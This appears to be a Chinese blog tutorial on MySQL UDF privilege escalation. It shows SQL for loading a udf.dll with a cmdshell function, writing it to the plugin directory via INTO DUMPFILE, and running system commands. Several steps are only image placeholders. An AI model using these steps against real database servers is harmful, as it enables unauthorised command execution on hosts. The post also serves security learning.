udf提权 udf.php,UDF提权

1.什么是udf

UDF是mysql的一个拓展接口,UDF(User defined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。用户可以通过UDF添加自定义函数,在sql语句中直接调用。

2.udf使用

假设用户自定义了一个名为“udf.dll”的udf文件,其中包含了cmdshell函数。函数的功能为执行系统命令。

1) 为了在mysql中使用此函数,须将udf.dll放在特定文件夹下。

1.Mysql版本大于5.1,udf.dll文件必须放在MySQL安装目录的lib\plugin文件夹下。(plugin文件夹默认不存在,需要创建)。

2.Mysql版本小于5.1:

如果是 win 2000 的服务器,我们则需要将 udf.dll 文件导到 C:\Winnt\udf.dll 下。

如果是 win2003 服务器,我们则要将 udf.dll 文件导出在 C:\Windows\udf.dll 下。

2)在mysql中引用自定义函数

create function cmdshell return string soname 'udf.dll'

3 )执行命令

select cmdshell("whoami");

3.udf提权条件

1.获得一个数据库账号,拥有对MySQL的insert和delete权限。以root为佳。

2.拥有将udf.dll写入相应目录的权限。

4.udf提权过程

测试环境:

目标操作系统:win10

mysql版本:5.5.53

1)获取mysql安装路径

select @@basedir;

5b5c518a19ef

2)创建plugin文件夹

网上有说可以使用ntfs数据流创建,测试失败。。

select 'test' into dumpfile 'D:\\phpStudy\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

5b5c518a19ef

为后续测试,最后手动创建plugin文件夹。

3)创建临时的表保存udf.dll 16进制内容

5b5c518a19ef

5b5c518a19ef

4)使用dumpfile将临时表中的udf内容写到指定路径

SELECT udf FROM Temp_udf INTO DUMPFILE '';

5)删除临时表

6)创建自定义函数

5b5c518a19ef

7)执行cmdshell

5b5c518a19ef

5.UDF提权难点

1.高版本mysql中有个参数至关重要,就是secure-file-priv,这个参数限制了MySQL的导出。该参数为NULL时不允许导出、该参数为空时允许在任意文件夹中导出、该参数为某文件夹时允许在该文件夹中导出。

使用load_file、dumpfile等函数时需要在my.ini中奖secure-file-priv设为空:

5b5c518a19ef

2.plugin文件夹的创建,未解决

(通过将新值传递给mysqld来更改插件目录变量?

编写一个新的mysql配置文件并将其传递给mysqld?)。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值